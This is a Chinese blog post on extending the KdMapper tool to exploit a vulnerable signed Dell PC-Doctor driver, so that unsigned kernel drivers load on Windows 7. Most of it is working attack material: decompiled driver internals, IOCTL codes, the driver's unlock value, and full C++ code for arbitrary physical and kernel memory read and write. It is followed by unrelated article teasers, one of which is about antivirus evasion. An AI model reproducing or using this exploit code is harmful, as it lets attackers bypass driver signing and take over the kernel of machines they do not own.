KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
| 驱动名称 | pcdsrvc_x64.pkms |
| 时间戳 | 5B0478B6 |
| MD5 | C5632596C83FFB4C704AFA2A7504A335 |
| 文件版本 | 6.2.3.0 |
| 设备名称 | 和驱动服务同名 |
| 初始化驱动 | 0x222004 |
| 获取物理地址 | 0x222080 |
| 读物理内存 | 0x222084 |
| 写物理内存 | 0x222088 |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);if (!DestinationString.Buffer)return 0xC000009A;DestinationString.MaximumLength = RegistryPath->Length + 2;RtlCopyUnicodeString(&DestinationString, RegistryPath);DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;return CreateDevice(DriverObject);
}
可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{NTSTATUS result; // eaxint v3; // ediunsigned int v4; // eax__int64 v5; // rcxint v6; // esi_UNICODE_STRING* v7; // rdiWCHAR* v8; // raxstruct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREFUNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREFstruct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREFUNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREFUNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF_UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");RtlInitUnicodeString(&Source, L"\\DosDevices\\");Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);if (!Destination.Buffer)return 0xC000009A;Destination.Length = 0;Destination.MaximumLength = 538;RtlAppendUnicodeStringToString(&Destination, &Source);v3 = -1;v4 = ::DestinationString.Length >> 1;v5 = v4;while (::DestinationString.Buffer[v5] != 92){--v4;if (--v5 < 0)goto LABEL_8;}v3 = v4;
LABEL_8:if (v3 == -1)return 0xC0000001;RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");v10.Buffer = &::DestinationString.Buffer[v3 + 1];v10.Length = ::DestinationString.Length - 2 * (v3 + 1);v10.MaximumLength = v10.Length - 1;RtlAppendUnicodeStringToString(&Destination, &v10);result = WdmlibIoCreateDeviceSecure(DriverObject,0x28u,&Destination,0x22u,0x100u,0,&DefaultSDDLString,0i64,&DeviceObject);v6 = result;if (result >= 0){RtlFreeUnicodeString(&Destination);v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;v7 = v15;*(_QWORD*)&v15->Length = DeviceObject;v7->Buffer = (PWSTR)DriverObject;v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);v7[1].Buffer = v8;if (v8){v7[1].MaximumLength = DestinationString.MaximumLength;RtlCopyUnicodeString(v7 + 1, &DestinationString);}else{v6 = 0xC000009A;}if (v6 < 0){if (v7[1].Buffer)RtlFreeUnicodeString(v7 + 1);IoDeleteDevice(DeviceObject);}result = v6;}return result;
}
从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // r9unsigned int nBytesReturn; // edxULONG nIoControlCode; // ecxunsigned int ntStatus; // ebxDWORD* dwInitailizeCode; // raxpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;if (nIoControlCode != 0x222004 && !bInitialized){ntStatus = 0xC0000022;pIrp->IoStatus.Information = 0i64;LABEL_18:LOBYTE(nBytesReturn) = 0;goto LABEL_36;}if (nIoControlCode - 0x222000 <= 0x7C){ntStatus = 0;if (nIoControlCode == 0x222000){if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4){*(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;LABEL_16:nBytesReturn = 4;goto LABEL_17;}}else{if (nIoControlCode != 0x222004){ntStatus = 0xC0000010;LABEL_17:pIrp->IoStatus.Information = nBytesReturn;goto LABEL_18;}if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4&& pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动{dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;if (*dwInitailizeCode == 0xA1B2C3D4){bInitialized = 1;*dwInitailizeCode = 0;}else{*dwInitailizeCode = 1;}goto LABEL_16;}}ntStatus = 0xC000000D;goto LABEL_17;}if (nIoControlCode - 0x222080 <= 0x7C)return MemoryOperation(pIrp);if (nIoControlCode - 0x222100 <= 0x7C)return sub_112C8(pIrp);if (nIoControlCode - 0x222180 <= 0x7C)return sub_13A44(pIrp);if (nIoControlCode - 0x222300 <= 0x7C)return sub_13B94(pIrp);if (nIoControlCode - 0x222380 <= 0x7C)return sub_11008(pIrp);if (nIoControlCode - 0x222680 <= 0x7C)return sub_11878(pIrp);if (nIoControlCode - 0x222700 <= 0x7C)return sub_121C4(pIrp);if (nIoControlCode - 0x222600 <= 0x7C)return sub_13D5C(pIrp);ntStatus = 0xC0000010;pIrp->IoStatus.Information = 0i64;
LABEL_36:pIrp->IoStatus.Status = ntStatus;IofCompleteRequest(pIrp, nBytesReturn);return ntStatus;
}
从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。
关于内存的操作是在 MemoryOperation 函数中。
3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // raxULONG_PTR nBytesReturn; // rdiunsigned int nInputBufferLength; // ecxULONG nOutputBufferLength; // er8int nControlCode; // edxint nControlCodeV7; // edxunsigned int ntStatus; // ebxPC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbpSIZE_T nMapSize; // rdxPVOID pAddressMapped; // r12unsigned int ntStatusV12; // eaxPHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREFpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0i64;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;nBytesMapped.QuadPart = 0i64;if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址{if (nInputBufferLength != 8 || nOutputBufferLength != 8)goto LABEL_18;ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);goto LABEL_17;}nControlCodeV7 = nControlCode - 4;if (!nControlCodeV7) // 0x222084 读取物理内存{if (nInputBufferLength < 0xD)goto LABEL_18;ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);LABEL_17:nBytesReturn = nBytesMapped.QuadPart;ntStatus = ntStatusV12;goto LABEL_19;}if (nControlCodeV7 != 4){ntStatus = 0xC0000010;goto LABEL_19;}if (nInputBufferLength < 0xD) // 0x222088 写入物理内存{LABEL_18:ntStatus = 0xC000000D;goto LABEL_19;}pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nMapSize = pInfo->Length;nBytesMapped = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);if (pAddressMapped){if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))nBytesReturn = pInfo->Length;elsentStatus = 0xC000000D;MmUnmapIoSpace(pAddressMapped, pInfo->Length);}else{ntStatus = 0xC0000001;}
LABEL_19:pIrp->IoStatus.Status = ntStatus;pIrp->IoStatus.Information = nBytesReturn;IofCompleteRequest(pIrp, 0);return ntStatus;
}
第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。
第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。
第 45 行到 67 行为写入物理内存,请求码为 0x222088。
3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{void* pAddressToMap; // rdi_MDL* pMdl; // rax_MDL* pMdl2; // rbxpAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);pMdl2 = pMdl;if (!pMdl)return 0xC0000001i64;MmProbeAndLockPages(pMdl, 1, IoReadAccess);*(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);MmUnlockPages(pMdl2);IoFreeMdl(pMdl2);*nBytesMapped = 8i64;return 0i64;
}
虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。
3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8unsigned int ntStatus; // ebxPVOID pAddressMapped; // rbpunsigned int nSize; // [rsp+38h] [rbp-20h]char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREFpInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nSize = pInfo->Length;nCopyAlign = pInfo->CopyAlign;pPhsicalAdressVar = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);if (!pAddressMapped)return 0xC0000001i64;if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign)){*nBytesMapped = nSize;}else{*nBytesMapped = 0i64;ntStatus = 0xC000000D;}MmUnmapIoSpace(pAddressMapped, nSize);return ntStatus;
}
3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{unsigned __int16 v5; // r10unsigned int v7; // eax__int64 v8; // rdxv5 = 0;if (!nCopyAlign){memmove(Destination, Source, nSize);return 1;}if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64)){v7 = nSize / 4;if (!(nSize % 4)){if (v7){do{v8 = v5++;*((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);} while (v5 < v7);}return 1;}}return 0;
}
在使用时只需要将第 5 个参数传 0 即实现 memmove。
3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends
3.9 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{......memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));static const char alphanum[] ="abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ";int len = rand() % 20 + 10;for (int i = 0; i < len; ++i)dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];......HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.1.2 修改后逻辑代码
参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:
HANDLE dell_driver::Load()
{......std::wstring strDeviceName;strDeviceName.append(L"\\\\.\\");strDeviceName.append(GetDriverNameW());HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.2 初始化驱动
参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}HANDLE dell_driver::Load()
{......ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");if (ntoskrnlAddr == 0) {Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}if (!dell_driver::InitializeDriver(result)){Log(L"[-] Failed to Initialize Driver" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
5. 代码实现
5.1 .h文件
#pragma pack(push, 1)typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO{PHYSICAL_ADDRESS PhysicalAddress;DWORD Length;BYTE CopyAlign;}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088#define INITIALIZE_CODE (0xA1B2C3D4)
5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL dell_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };PBYTE pWriteData = NULL;SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;__try {if (DoWrite) {pWriteData = (PBYTE)malloc(nBufferSize);if (pWriteData){RtlZeroMemory(pWriteData, nBufferSize);info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle,IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,pWriteData,(ULONG)nBufferSize,NULL,0);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");}}else{info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);}if (pWriteData){free(pWriteData);}SetLastError(dwError);return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI dell_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
6. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

7.特别提示
使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:
KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcds…...
python和go相互调用的两种方法
前言 Python 和 Go 语言是两种不同的编程语言,它们分别有自己的优势和适用场景。在一些项目中,由于团队内已有的技术栈或者某一部分业务的需求,可能需要 Python 和 Go 相互调用,以此来提升效率和性能。 性能优势 Go 通常比 Python 更高效&…...
c# 分部视图笔记
Html.Partial("**", 1) public ActionResult **(int page) { ViewBag.page page; return PartialView("**"); }...
Vue3最佳实践 第七章 TypeScript 中
Vue组件中TypeScript 在Vue组件中,我们可以使用TypeScript进行各种类型的设置,包括props、Reactive和ref等。下面,让我们详细地探讨一下这些设置。 设置描述设置props在Vue中,props本身就具有类型设定的功能。但如果你希望使用Ty…...
(三)行为模式:8、状态模式(State Pattern)(C++示例)
目录 1、状态模式(State Pattern)含义 2、状态模式的UML图学习 3、状态模式的应用场景 4、状态模式的优缺点 (1)优点 (2)缺点 5、C实现状态模式的实例 1、状态模式(State Pattern&#x…...
nginx的配置文件概述及简单demo(二)
默认配置文件 当安装完nginx后,它的目录下通常有默认的配置文件 #user nobody; worker_processes 1;#error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info;#pid logs/nginx.pid;events {worker_connection…...
Apollo Planning2.0决策规划算法代码详细解析 (2): vscode gdb单步调试环境搭建
前言: apollo planning2.0 在新版本中在降低学习和二次开发成本上进行了一些重要的优化,重要的优化有接口优化、task插件化、配置参数改造等。 GNU symbolic debugger,简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端…...
flex 布局:元素/文字靠右
前言 略 使用flex的justify-content属性控制元素的摆放位置 靠右 <view class"more">展开更多<text class"iconfont20231007 icon-zhankai"></text></view>.more {display: flex;flex-direction: row;color: #636363;justify-co…...
java基础-第1章-走进java世界
一、计算机基础知识 常用的DOS命令 二、计算机语言介绍 三、Java语言概述 四、Java环境的搭建 JDK安装图解 环境变量的配置 配置环境变量意义 配置环境变量步骤 五、第一个Java程序 编写Java源程序 编译Java源文件 运行Java程序 六、Java语言运行机制 核心机制—Java虚拟机 核…...
jvm 堆内存 栈内存 大小设置
4种方式配置不同作用域的jvm的堆栈内存。 1、Eclise 中设置jvm内存: 改动eclipse的配置文件,对全部project都起作用 改动eclipse根文件夹下的eclipse.ini文件 -vmargs //虚拟机设置 -Xms40m //初始内存 -Xmx256m //最大内存 -Xmn16m //最小内存 -XX:PermSize=128M //非堆内…...
免杀对抗-反沙盒+反调试
反VT-沙盒检测-Go&Python 介绍: 近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说…...
QTimer类的使用方法
本文介绍QTimer类的使用方法。 1.单次触发 在某些情况下,定时器只运行一次,可使用单次触发方式。 QTimer *timer new QTimer(this); connect(timer, &QTimer::timeout, this, &MainWindow::timeout); timer->setSingleShot(true); timer-…...
(三)行为模式:9、空对象模式(Null Object Pattern)(C++示例)
目录 1、空对象模式(Null Object Pattern)含义 2、空对象模式的主要涉及以下几个角色 3、空对象模式的应用场景 4、空对象模式的优缺点 (1)优点 (2)缺点 5、C实现空对象模式的实例 1、空对象模式&am…...
Django实战项目-学习任务系统-用户登录
第一步:先创建一个Django应用程序框架代码 1,先创建一个Django项目 django-admin startproject mysite将创建一个目录,其布局如下:mysite/manage.pymysite/__init__.pysettings.pyurls.pyasgi.pywsgi.py 2,再创建一个…...
【动手学深度学习-Pytorch版】Transformer代码总结
本文是纯纯的撸代码讲解,没有任何Transformer的基础内容~ 是从0榨干Transformer代码系列,借用的是李沐老师上课时讲解的代码。 本文是根据每个模块的实现过程来进行讲解的。如果您想获取关于Transformer具体的实现细节(不含代码)可…...
做外贸独立站选Shopify还是WordPress?
现在确实会有很多新人想做独立站,毕竟跨境电商平台内卷严重,平台规则限制不断升级,脱离平台“绑架”布局独立站,才能获得更多流量、订单、塑造品牌价值。然而,在选择建立外贸独立站的过程中,选择适合的建站…...
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{}才起作用,如果在series里写的不起作用就写到全局里
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{show:true}才起作用,如果在series里写的不起作用就写到全局里 series里写tooltip不起作用,鼠标悬浮在echarts图表上时不显示提示 你需要…...
jmeter分布式压测
一、什么是压力测试? 压力测试(Stress Test),也称为强度测试、负载测试,属于性能测试的范畴。 压力测试是模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行被测软件系统ÿ…...
consulmanage部署
一、部署consul 使用yum方式部署consul yum install -y yum-utils yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo yum -y install consul 执行以下命令获取uuid密钥并记录下来 uuidgen 编辑consul配置文件 vi /etc/consul.d/consul.h…...
大数据软件项目的验收流程
大数据软件项目的验收流程是确保项目交付符合预期需求和质量标准的关键步骤。以下是一般的大数据软件项目验收流程,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1.项目验收计划制定: 在…...
Vim 调用外部命令学习笔记
Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
Golang dig框架与GraphQL的完美结合
